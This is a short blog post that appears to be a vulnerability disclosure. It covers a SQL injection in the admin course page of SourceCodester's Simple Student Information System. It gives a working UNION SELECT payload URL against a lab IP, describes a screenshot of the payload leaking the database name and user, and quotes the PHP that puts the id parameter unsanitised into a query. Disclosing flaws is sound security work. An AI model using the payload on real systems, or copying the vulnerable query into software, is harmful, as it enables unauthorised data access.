



PHP代码审计—Simple Student Information System manage_course.php SQL Injection

· 2022-08-08 · # PHP代码审计 # SourceCodester # SQL Injection

Vendor Homepage:

<https://www.sourcecodester.com>

Source Code Download:

<https://www.sourcecodester.com/php/15147/simple-student-information-system-phpoop-free-source-code.html>

Payload

Simple Student Information System SQL Injection

`http://192.168.1.8/sis/admin/courses/manage_course.php?id=-6659%27%20%20union%20:`

The screenshot shows a web browser window with the address bar displaying the URL: `192.168.1.8/sis/admin/courses/manage_course.php?id=-6659%27%20%20union%20select%201,2,database(),user(),5,6,7,8--%20-`. Below the address bar, there is a form with the following fields:

- Department: CoAS (dropdown menu)
- Course: sis_db (text input)
- Description: root@localhost (text input)
- Status: Active (dropdown menu)

code

`admin/courses/manage_course.php` line 1-13,

```
<?php
require_once('../../config.php');
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `course_list` where id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
                $$k = $v;
        }
    }
}
?>
```



Powered by **bewhale**